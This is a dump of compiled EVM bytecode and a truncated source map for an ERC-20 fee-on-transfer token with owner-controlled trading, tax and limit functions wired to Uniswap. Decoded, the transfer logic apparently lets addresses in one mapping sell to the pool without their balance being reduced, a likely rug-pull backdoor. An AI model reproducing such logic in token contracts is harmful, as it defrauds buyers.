0x6080604052600436106100dc575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461024157806395d89b4114610267578063a9059cbb14610291578063dd62ed3e146102b0575f80fd5b806370a08231146101e5578063715018a61461021957806380f0889c1461022d575f80fd5b806318160ddd116100b757806318160ddd146101755780631acc26bc1461019757806323b872dd146101ab578063313ce567146101ca575f80fd5b806306fdde03146100e757806308915b3d14610130578063095ea7b314610146575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600f81526e2ab81020a4902b30b634b230ba37b960891b60208201525b6040516101279190611222565b60405180910390f35b34801561013b575f80fd5b506101446102f4565b005b348015610151575f80fd5b50610165610160366004611285565b6106b5565b6040519015158152602001610127565b348015610180575f80fd5b506101896106cb565b604051908152602001610127565b3480156101a2575f80fd5b506101446106eb565b3480156101b6575f80fd5b506101656101c53660046112af565b610750565b3480156101d5575f80fd5b5060405160128152602001610127565b3480156101f0575f80fd5b506101896101ff3660046112ed565b6001600160a01b03165f9081526003602052604090205490565b348015610224575f80fd5b506101446107b2565b348015610238575f80fd5b50610144610823565b34801561024c575f80fd5b505f546040516001600160a01b039091168152602001610127565b348015610272575f80fd5b50604080518082019091526002815261055560f41b602082015261011a565b34801561029c575f80fd5b506101656102ab366004611285565b610858565b3480156102bb575f80fd5b506101896102ca366004611308565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103265760405162461bcd60e51b815260040161031d9061133f565b60405180910390fd5b600d54600160a81b900460ff161561038c5760405162461bcd60e51b8152602060048201526024808201527f6f70656e54726164696e673a2054726164696e6720697320616c72656164792060448201526337b832b760e11b606482015260840161031d565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103da9030906103c76012600a611468565b6103d5906305f5e100611476565b610864565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061044e919061148d565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d1919061148d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053f919061148d565b600d80546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610586816001600160a01b03165f9081526003602052604090205490565b5f806105995f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105ff573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061062491906114a8565b5050600d5460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610679573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069d91906114d3565b50600d805461ffff60a81b191661010160a81b179055565b5f6106c1338484610864565b5060015b92915050565b5f6106d86012600a611468565b6106e6906305f5e100611476565b905090565b5f546001600160a01b031633146107145760405162461bcd60e51b815260040161031d9061133f565b6107206012600a611468565b61072e906305f5e100611476565b60085561073d6012600a611468565b61074b906305f5e100611476565b600955565b5f61075c848484610987565b6107a884336103d5856040518060600160405280602881526020016115bd602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ee9565b5060019392505050565b5f546001600160a01b031633146107db5760405162461bcd60e51b815260040161031d9061133f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461084c5760405162461bcd60e51b815260040161031d9061133f565b60026006819055600755565b5f6106c1338484610987565b6001600160a01b0383166108c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031d565b6001600160a01b0382166109275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109eb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031d565b6001600160a01b038216610a4d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031d565b5f8111610ab95760405162461bcd60e51b815260206004820152603460248201527f5f7472616e736665723a205472616e7366657220616d6f756e74206d7573742060448201527362652067726561746572207468616e207a65726f60601b606482015260840161031d565b5f80546001600160a01b03858116911614801590610ae457505f546001600160a01b03848116911614155b15610dac57600d546001600160a01b038581169116148015610b1457506001546001600160a01b03848116911614155b8015610b3857506001600160a01b0383165f9081526004602052604090205460ff16155b15610c4557610b5d6064610b5760065485610f2190919063ffffffff16565b90610fa6565b9050600854821115610bbd5760405162461bcd60e51b815260206004820152602360248201527f5f7472616e736665723a204578636565647320746865205f6d617854784c696d60448201526234ba1760e91b606482015260840161031d565b60095482610bdf856001600160a01b03165f9081526003602052604090205490565b610be991906114f2565b1115610c455760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a204578636565647320746865206d617857616c6c657460448201526429b4bd329760d91b606482015260840161031d565b600d546001600160a01b038481169116148015610c6b57506001600160a01b0384163014155b15610ce9576001600160a01b0384165f9081526005602052604090205460ff1615610ccc57610c9a8282610fe7565b6001600160a01b0384165f9081526003602052604081208054909190610cc19084906114f2565b909155505050505050565b610ce66064610b5760075485610f2190919063ffffffff16565b90505b305f90815260036020526040902054600d54600160a01b900460ff16158015610d1f5750600d546001600160a01b038581169116145b8015610d345750600d54600160b01b900460ff165b8015610d415750600a5483115b15610daa57600b548110610d5f57610d5a600b54611028565b610d72565b600a54811115610d7257610d7281611028565b600c546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610da8573d5f803e3d5ffd5b505b505b8015610e2457305f90815260036020526040902054610dcb9082611198565b305f81815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1b9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260036020526040902054610e469083610fe7565b6001600160a01b0385165f90815260036020526040902055610e89610e6b8383610fe7565b6001600160a01b0385165f9081526003602052604090205490611198565b6001600160a01b038085165f8181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ed28585610fe7565b60405190815260200160405180910390a350505050565b5f8184841115610f0c5760405162461bcd60e51b815260040161031d9190611222565b505f610f188486611505565b95945050505050565b5f825f03610f3057505f6106c5565b5f610f3b8385611476565b905082610f488583611518565b14610f9f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161031d565b9392505050565b5f610f9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f6565b5f610f9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee9565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106e5761106e611537565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e9919061148d565b816001815181106110fc576110fc611537565b6001600160a01b0392831660209182029290920101526001546111229130911684610864565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115a9085905f9086903090429060040161154b565b5f604051808303815f87803b158015611171575f80fd5b505af1158015611183573d5f803e3d5ffd5b5050600d805460ff60a01b1916905550505050565b5f806111a483856114f2565b905083811015610f9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161031d565b5f81836112165760405162461bcd60e51b815260040161031d9190611222565b505f610f188486611518565b5f602080835283518060208501525f5b8181101561124e57858101830151858201604001528201611232565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611282575f80fd5b50565b5f8060408385031215611296575f80fd5b82356112a18161126e565b946020939093013593505050565b5f805f606084860312156112c1575f80fd5b83356112cc8161126e565b925060208401356112dc8161126e565b929592945050506040919091013590565b5f602082840312156112fd575f80fd5b8135610f9f8161126e565b5f8060408385031215611319575f80fd5b82356113248161126e565b915060208301356113348161126e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156113c257815f19048211156113a8576113a8611374565b808516156113b557918102915b93841c939080029061138d565b509250929050565b5f826113d8575060016106c5565b816113e457505f6106c5565b81600181146113fa576002811461140457611420565b60019150506106c5565b60ff84111561141557611415611374565b50506001821b6106c5565b5060208310610133831016604e8410600b8410161715611443575081810a6106c5565b61144d8383611388565b805f190482111561146057611460611374565b029392505050565b5f610f9f60ff8416836113ca565b80820281158282048414176106c5576106c5611374565b5f6020828403121561149d575f80fd5b8151610f9f8161126e565b5f805f606084860312156114ba575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156114e3575f80fd5b81518015158114610f9f575f80fd5b808201808211156106c5576106c5611374565b818103818111156106c5576106c5611374565b5f8261153257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561159b5784516001600160a01b031683529383019391830191600101611576565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201efa69b121e7757431d21311233d6a1aea482b019afd9cd3079d32c17adde87564736f6c63430008160033

Deployed Bytecode Sourcemap

9926:10415:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11654:83;;;;;;;;;;-1:-1:-1;11724:5:0;;;;;;;;;;;;-1:-1:-1;;;11724:5:0;;;;11654:83;;;;;;;:::i;:::-;;;;;;;;18610:1098;;;;;;;;;;;;;:::i;:::-;;13858:161;;;;;;;;;;-1:-1:-1;13858:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13858:161:0;1023:187:1;12253:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;12253:100:0;1215:177:1;20057:131:0;;;;;;;;;;;;;:::i;14378:313::-;;;;;;;;;;-1:-1:-1;14378:313:0;;;;;:::i;:::-;;:::i;12061:83::-;;;;;;;;;;-1:-1:-1;12061:83:0;;10207:2;2000:36:1;;1988:2;1973:18;12061:83:0;1858:184:1;12549:119:0;;;;;;;;;;-1:-1:-1;12549:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;12642:18:0;12615:7;12642:18;;;:9;:18;;;;;;;12549:119;7197:148;;;;;;;;;;;;;:::i;19716:109::-;;;;;;;;;;;;;:::i;6647:79::-;;;;;;;;;;-1:-1:-1;6685:7:0;6712:6;6647:79;;-1:-1:-1;;;;;6712:6:0;;;2445:51:1;;2433:2;2418:18;6647:79:0;2299:203:1;11847:87:0;;;;;;;;;;-1:-1:-1;11919:7:0;;;;;;;;;;;;-1:-1:-1;;;11919:7:0;;;;11847:87;;12950:167;;;;;;;;;;-1:-1:-1;12950:167:0;;;;;:::i;:::-;;:::i;13408:143::-;;;;;;;;;;-1:-1:-1;13408:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13516:18:0;;;13489:7;13516:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13408:143;18610:1098;6859:6;;-1:-1:-1;;;;;6859:6:0;626:10;6859:22;6851:67;;;;-1:-1:-1;;;6851:67:0;;;;;;;:::i;:::-;;;;;;;;;18672:12:::1;::::0;-1:-1:-1;;;18672:12:0;::::1;;;18671:13;18663:62;;;::::0;-1:-1:-1;;;18663:62:0;;3463:2:1;18663:62:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;3541:34;3521:18;;;3514:62;-1:-1:-1;;;3592:18:1;;;3585:34;3636:19;;18663:62:0::1;3261:400:1::0;18663:62:0::1;18780:15;:104:::0;;-1:-1:-1;;;;;;18780:104:0::1;18831:42;18780:104:::0;;::::1;::::0;;;18967:63:::1;::::0;18984:4:::1;::::0;10268:13:::1;10207:2;10268;:13;:::i;:::-;10256:25;::::0;:9:::1;:25;:::i;:::-;18967:8;:63::i;:::-;19112:15;;;;;;;;;-1:-1:-1::0;;;;;19112:15:0::1;-1:-1:-1::0;;;;;19112:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;19094:55:0::1;;19158:4;19165:15;;;;;;;;;-1:-1:-1::0;;;;;19165:15:0::1;-1:-1:-1::0;;;;;19165:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19094:94;::::0;-1:-1:-1;;;;;;19094:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5834:15:1;;;19094:94:0::1;::::0;::::1;5816:34:1::0;5886:15;;5866:18;;;5859:43;5751:18;;19094:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19079:12;:109:::0;;-1:-1:-1;;;;;19079:109:0;;::::1;-1:-1:-1::0;;;;;;19079:109:0;;::::1;;::::0;;;19247:15;::::1;:31;19300:21;19355:4;19375:24;19355:4:::0;-1:-1:-1;;;;;12642:18:0;12615:7;12642:18;;;:9;:18;;;;;;;12549:119;19375:24:::1;19414:1;19430::::0;19446:7:::1;6685::::0;6712:6;-1:-1:-1;;;;;6712:6:0;;6647:79;19446:7:::1;19247:247;::::0;::::1;::::0;;;-1:-1:-1;;;;;;19247:247:0;;;-1:-1:-1;;;;;6272:15:1;;;19247:247:0::1;::::0;::::1;6254:34:1::0;6304:18;;;6297:34;;;;6347:18;;;6340:34;;;;6390:18;;;6383:34;6454:15;;;6433:19;;;6426:44;19468:15:0::1;6486:19:1::0;;;6479:35;6188:19;;19247:247:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;19576:12:0::1;::::0;;19606:15;19569:70:::1;::::0;-1:-1:-1;;;19569:70:0;;-1:-1:-1;;;;;19606:15:0;;::::1;19569:70;::::0;::::1;7010:51:1::0;-1:-1:-1;;7077:18:1;;;7070:34;19576:12:0;::::1;::::0;-1:-1:-1;19569:28:0::1;::::0;6983:18:1;;19569:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;19652:12:0::1;:19:::0;;-1:-1:-1;;;;19682:18:0;-1:-1:-1;;;19682:18:0;;;18610:1098::o;13858:161::-;13933:4;13950:39;626:10;13973:7;13982:6;13950:8;:39::i;:::-;-1:-1:-1;14007:4:0;13858:161;;;;;:::o;12253:100::-;12306:7;10268:13;10207:2;10268;:13;:::i;:::-;10256:25;;:9;:25;:::i;:::-;12326:19;;12253:100;:::o;20057:131::-;6859:6;;-1:-1:-1;;;;;6859:6:0;626:10;6859:22;6851:67;;;;-1:-1:-1;;;6851:67:0;;;;;;;:::i;:::-;10268:13:::1;10207:2;10268;:13;:::i;:::-;10256:25;::::0;:9:::1;:25;:::i;:::-;20111:11;:26:::0;10268:13:::1;10207:2;10268;:13;:::i;:::-;10256:25;::::0;:9:::1;:25;:::i;:::-;20148:17;:32:::0;20057:131::o;14378:313::-;14476:4;14493:36;14503:6;14511:9;14522:6;14493:9;:36::i;:::-;14540:121;14549:6;626:10;14571:89;14609:6;14571:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14571:19:0;;;;;;:11;:19;;;;;;;;626:10;14571:33;;;;;;;;;;:37;:89::i;14540:121::-;-1:-1:-1;14679:4:0;14378:313;;;;;:::o;7197:148::-;6859:6;;-1:-1:-1;;;;;6859:6:0;626:10;6859:22;6851:67;;;;-1:-1:-1;;;6851:67:0;;;;;;;:::i;:::-;7304:1:::1;7288:6:::0;;7267:40:::1;::::0;-1:-1:-1;;;;;7288:6:0;;::::1;::::0;7267:40:::1;::::0;7304:1;;7267:40:::1;7335:1;7318:19:::0;;-1:-1:-1;;;;;;7318:19:0::1;::::0;;7197:148::o;19716:109::-;6859:6;;-1:-1:-1;;;;;6859:6:0;626:10;6859:22;6851:67;;;;-1:-1:-1;;;6851:67:0;;;;;;;:::i;:::-;19782:1:::1;19769:10;:14:::0;;;19794:11:::1;:15:::0;19716:109::o;12950:167::-;13028:4;13045:42;626:10;13069:9;13080:6;13045:9;:42::i;14998:335::-;-1:-1:-1;;;;;15091:19:0;;15083:68;;;;-1:-1:-1;;;15083:68:0;;7599:2:1;15083:68:0;;;7581:21:1;7638:2;7618:18;;;7611:30;7677:34;7657:18;;;7650:62;-1:-1:-1;;;7728:18:1;;;7721:34;7772:19;;15083:68:0;7397:400:1;15083:68:0;-1:-1:-1;;;;;15170:21:0;;15162:68;;;;-1:-1:-1;;;15162:68:0;;8004:2:1;15162:68:0;;;7986:21:1;8043:2;8023:18;;;8016:30;8082:34;8062:18;;;8055:62;-1:-1:-1;;;8133:18:1;;;8126:32;8175:19;;15162:68:0;7802:398:1;15162:68:0;-1:-1:-1;;;;;15241:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15293:32;;1361:25:1;;;15293:32:0;;1334:18:1;15293:32:0;;;;;;;14998:335;;;:::o;15611:2370::-;-1:-1:-1;;;;;15699:18:0;;15691:68;;;;-1:-1:-1;;;15691:68:0;;8407:2:1;15691:68:0;;;8389:21:1;8446:2;8426:18;;;8419:30;8485:34;8465:18;;;8458:62;-1:-1:-1;;;8536:18:1;;;8529:35;8581:19;;15691:68:0;8205:401:1;15691:68:0;-1:-1:-1;;;;;15778:16:0;;15770:64;;;;-1:-1:-1;;;15770:64:0;;8813:2:1;15770:64:0;;;8795:21:1;8852:2;8832:18;;;8825:30;8891:34;8871:18;;;8864:62;-1:-1:-1;;;8942:18:1;;;8935:33;8985:19;;15770:64:0;8611:399:1;15770:64:0;15862:1;15853:6;:10;15845:75;;;;-1:-1:-1;;;15845:75:0;;9217:2:1;15845:75:0;;;9199:21:1;9256:2;9236:18;;;9229:30;9295:34;9275:18;;;9268:62;-1:-1:-1;;;9346:18:1;;;9339:50;9406:19;;15845:75:0;9015:416:1;15845:75:0;15933:17;6712:6;;-1:-1:-1;;;;;16060:15:0;;;6712:6;;16060:15;;;;:32;;-1:-1:-1;6685:7:0;6712:6;-1:-1:-1;;;;;16079:13:0;;;6712:6;;16079:13;;16060:32;16056:1433;;;16208:12;;-1:-1:-1;;;;;16200:20:0;;;16208:12;;16200:20;:54;;;;-1:-1:-1;16238:15:0;;-1:-1:-1;;;;;16224:30:0;;;16238:15;;16224:30;;16200:54;:81;;;;-1:-1:-1;;;;;;16259:22:0;;;;;;:18;:22;;;;;;;;16258:23;16200:81;16196:365;;;16314:31;16341:3;16314:22;16325:10;;16314:6;:10;;:22;;;;:::i;:::-;:26;;:31::i;:::-;16302:43;;16382:11;;16372:6;:21;;16364:69;;;;-1:-1:-1;;;16364:69:0;;9638:2:1;16364:69:0;;;9620:21:1;9677:2;9657:18;;;9650:30;9716:34;9696:18;;;9689:62;-1:-1:-1;;;9767:18:1;;;9760:33;9810:19;;16364:69:0;9436:399:1;16364:69:0;16486:17;;16476:6;16460:13;16470:2;-1:-1:-1;;;;;12642:18:0;12615:7;12642:18;;;:9;:18;;;;;;;12549:119;16460:13;:22;;;;:::i;:::-;:43;;16452:93;;;;-1:-1:-1;;;16452:93:0;;10172:2:1;16452:93:0;;;10154:21:1;10211:2;10191:18;;;10184:30;10250:34;10230:18;;;10223:62;-1:-1:-1;;;10301:18:1;;;10294:35;10346:19;;16452:93:0;9970:401:1;16452:93:0;16673:12;;-1:-1:-1;;;;;16667:18:0;;;16673:12;;16667:18;:43;;;;-1:-1:-1;;;;;;16689:21:0;;16705:4;16689:21;;16667:43;16663:226;;;-1:-1:-1;;;;;16734:25:0;;;;;;:19;:25;;;;;;;;16731:80;;;16780:21;:6;16791:9;16780:10;:21::i;:::-;-1:-1:-1;;;;;16763:13:0;;;;;;:9;:13;;;;;:38;;:13;;;:38;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;15611:2370:0:o;16731:80::-;16841:32;16869:3;16841:23;16852:11;;16841:6;:10;;:23;;;;:::i;:32::-;16829:44;;16663:226;17021:4;16969:31;12642:18;;;:9;:18;;;;;;17047:11;;-1:-1:-1;;;17047:11:0;;;;17046:12;:34;;;;-1:-1:-1;17068:12:0;;-1:-1:-1;;;;;17062:18:0;;;17068:12;;17062:18;17046:34;:49;;;;-1:-1:-1;17084:11:0;;-1:-1:-1;;;17084:11:0;;;;17046:49;:78;;;;;17108:16;;17099:6;:25;17046:78;17042:436;;;17176:15;;17149:23;:42;17145:253;;17216:29;17229:15;;17216:12;:29::i;:::-;17145:253;;;17300:16;;17274:23;:42;17271:127;;;17341:37;17354:23;17341:12;:37::i;:::-;17416:14;;:46;;-1:-1:-1;;;;;17416:14:0;;;;17440:21;17416:46;;;;;:14;:46;:14;:46;17440:21;17416:14;:46;;;;;;;;;;;;;;;;;;;;;17042:436;16094:1395;16056:1433;17576:13;;17572:172;;17651:4;17633:24;;;;:9;:24;;;;;;:39;;17662:9;17633:28;:39::i;:::-;17624:4;17606:24;;;;:9;:24;;;;;;;:66;;;;17692:40;;-1:-1:-1;;;;;17692:40:0;;;;;;;17722:9;1361:25:1;;1349:2;1334:18;;1215:177;17692:40:0;;;;;;;;17572:172;-1:-1:-1;;;;;17822:15:0;;;;;;:9;:15;;;;;;:27;;17842:6;17822:19;:27::i;:::-;-1:-1:-1;;;;;17804:15:0;;;;;;:9;:15;;;;;:45;17876:40;17894:21;:6;17905:9;17894:10;:21::i;:::-;-1:-1:-1;;;;;17876:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;17860:13:0;;;;;;;:9;:13;;;;;:56;;;;17932:41;;;17951:21;:6;17962:9;17951:10;:21::i;:::-;17932:41;;1361:25:1;;;1349:2;1334:18;17932:41:0;;;;;;;15680:2301;15611:2370;;;:::o;4546:190::-;4632:7;4668:12;4660:6;;;;4652:29;;;;-1:-1:-1;;;4652:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4692:9:0;4704:5;4708:1;4704;:5;:::i;:::-;4692:17;4546:190;-1:-1:-1;;;;;4546:190:0:o;4976:246::-;5034:7;5058:1;5063;5058:6;5054:47;;-1:-1:-1;5088:1:0;5081:8;;5054:47;5111:9;5123:5;5127:1;5123;:5;:::i;:::-;5111:17;-1:-1:-1;5156:1:0;5147:5;5151:1;5111:17;5147:5;:::i;:::-;:10;5139:56;;;;-1:-1:-1;;;5139:56:0;;10933:2:1;5139:56:0;;;10915:21:1;10972:2;10952:18;;;10945:30;11011:34;10991:18;;;10984:62;-1:-1:-1;;;11062:18:1;;;11055:31;11103:19;;5139:56:0;10731:397:1;5139:56:0;5213:1;4976:246;-1:-1:-1;;;4976:246:0:o;5428:132::-;5486:7;5513:39;5517:1;5520;5513:39;;;;;;;;;;;;;;;;;:3;:39::i;4071:136::-;4129:7;4156:43;4160:1;4163;4156:43;;;;;;;;;;;;;;;;;:3;:43::i;18119:479::-;11106:11;:18;;-1:-1:-1;;;;11106:18:0;-1:-1:-1;;;11106:18:0;;;18217:16:::1;::::0;;18231:1:::1;18217:16:::0;;;;;::::1;::::0;;-1:-1:-1;;18217:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;18217:16:0::1;18193:40;;18262:4;18244;18249:1;18244:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18244:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;18288:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;18288:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;18244:7;;18288:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18278:4;18283:1;18278:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18278:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;18353:15:::1;::::0;18321:62:::1;::::0;18338:4:::1;::::0;18353:15:::1;18371:11:::0;18321:8:::1;:62::i;:::-;18394:15;::::0;:196:::1;::::0;-1:-1:-1;;;18394:196:0;;-1:-1:-1;;;;;18394:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;18475:11;;18394:15:::1;::::0;18517:4;;18544::::1;::::0;18564:15:::1;::::0;18394:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;11147:11:0;:19;;-1:-1:-1;;;;11147:19:0;;;-1:-1:-1;;;;18119:479:0:o;3635:179::-;3693:7;;3725:5;3729:1;3725;:5;:::i;:::-;3713:17;;3754:1;3749;:6;;3741:46;;;;-1:-1:-1;;;3741:46:0;;12584:2:1;3741:46:0;;;12566:21:1;12623:2;12603:18;;;12596:30;12662:29;12642:18;;;12635:57;12709:18;;3741:46:0;12382:351:1;5848:189:0;5934:7;5969:12;5962:5;5954:28;;;;-1:-1:-1;;;5954:28:0;;;;;;;;:::i;:::-;-1:-1:-1;5993:9:0;6005:5;6009:1;6005;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3666:127::-;3727:10;3722:3;3718:20;3715:1;3708:31;3758:4;3755:1;3748:15;3782:4;3779:1;3772:15;3798:416;3887:1;3924:5;3887:1;3938:270;3959:7;3949:8;3946:21;3938:270;;;4018:4;4014:1;4010:6;4006:17;4000:4;3997:27;3994:53;;;4027:18;;:::i;:::-;4077:7;4067:8;4063:22;4060:55;;;4097:16;;;;4060:55;4176:22;;;;4136:15;;;;3938:270;;;3942:3;3798:416;;;;;:::o;4219:806::-;4268:5;4298:8;4288:80;;-1:-1:-1;4339:1:1;4353:5;;4288:80;4387:4;4377:76;;-1:-1:-1;4424:1:1;4438:5;;4377:76;4469:4;4487:1;4482:59;;;;4555:1;4550:130;;;;4462:218;;4482:59;4512:1;4503:10;;4526:5;;;4550:130;4587:3;4577:8;4574:17;4571:43;;;4594:18;;:::i;:::-;-1:-1:-1;;4650:1:1;4636:16;;4665:5;;4462:218;;4764:2;4754:8;4751:16;4745:3;4739:4;4736:13;4732:36;4726:2;4716:8;4713:16;4708:2;4702:4;4699:12;4695:35;4692:77;4689:159;;;-1:-1:-1;4801:19:1;;;4833:5;;4689:159;4880:34;4905:8;4899:4;4880:34;:::i;:::-;4950:6;4946:1;4942:6;4938:19;4929:7;4926:32;4923:58;;;4961:18;;:::i;:::-;4999:20;;4219:806;-1:-1:-1;;;4219:806:1:o;5030:140::-;5088:5;5117:47;5158:4;5148:8;5144:19;5138:4;5117:47;:::i;5175:168::-;5248:9;;;5279;;5296:15;;;5290:22;;5276:37;5266:71;;5317:18;;:::i;5348:251: